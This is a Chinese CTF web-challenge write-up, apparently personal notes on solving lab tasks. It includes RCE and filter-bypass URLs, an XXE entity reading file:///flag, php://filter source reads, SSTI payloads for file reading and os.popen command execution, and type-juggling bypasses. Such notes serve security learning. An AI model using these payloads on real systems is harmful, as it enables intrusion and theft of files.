源码,状态包什么都看了,没找到
啥都没了,猜猜应该是目录扫描
扫一下
webshe11.php是白板,查看源码得到
解码得到hacker
应该是一句话木马的密码
cat看一下,没有找着(可以直接用菜刀连)
查看根目录
有了
过滤了很多
试下参数逃逸
http://timu.vfree.ltd:9006/rce/?cmd=eval($_GET[1]);&1=phpinfo();
出来了
http://timu.vfree.ltd:9006/int/index.php?num=666a
机器人,看看robots.txt
访问/f1ag_is_in_there!!!
会让下载一个附件,打开就是flag
通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞。经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。
一个大白板,查看源码
php伪协议读文件
view-source:http://timu.vfree.ltd:9008/?php://filter/convert.base64-encode/resource=get_flag
这就可以记作是读文件源码的一种姿势
strcmp是比较两个字符串,如果str1
0 如果两者相等 返回0。
strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。
http://timu.vfree.ltd:9022/?num=9e99999
用科学计数法绕过
再看响应头
可以用括号来绕过文件长度
$a = '/flag|cat|tac|more|less|[ |<>|?|*|\\\\\'"]/';
这个正则没有过滤[
[ |<>|?|*|\\\\\'"]
这个表示是一组
所以过滤了空格
过滤空格用%0a绕过
所以构造payload
http://timu.vfree.ltd:9033/?a=(((((((((((((((((((((((((tail%09fla[a-z].txt)))))))))))))))))))))))))
用正则绕过flag
查看源码,得到flag
(但是交不对,不会是个假的吧)
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
是内部声明也可以引用外部DTD,如下所示。
- 内部声明DTD格式:<!DOCTYPE 根元素[元素声明]>。
- 引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM “文件名”>。
在DTD中进行实体声明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。
- 内部声明实体格式:<!ENTITY 实体名称 “实体的值”>。
- 引用外部实体格式:<!ENTITY 实体名 SYSTEM “URI”>。
看下这个例子
在POST参数中,关键语句为“file///C:/windows/win.ini”,该语句的作用是通过file协议读取本地文件C:/windows/win.ini
所以我们这一题类似
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///flag">
]>
a和b是随意起名即可
不知道为啥没出来,可能还有其他的过滤
OK,问题找到了,要在元素中引用外部实体参数&b; (不是$b;)
一定要引用
因为一直emil那里直接输出值,所以只需要在email那里&b; 即可
想用上一题的方法,发现没有返回我们的输入了
那怎么办,可以看看前面有一题的姿势
直接读文件源代码那里(一定要记住这个姿势)
php伪协议读文件
view-source:http://timu.vfree.ltd:9008/?php://filter/convert.base64-encode/resource=get_flag
<!DOCTYPE a[
<!ENTITY b SYSTEM "php://filter/convert.base64-encode/resource=flag.php">
]>
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:
第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn
这里也就刚好是.index.php.swp
http://timu.vfree.ltd:9014/.index.php.swp
访问,得到文件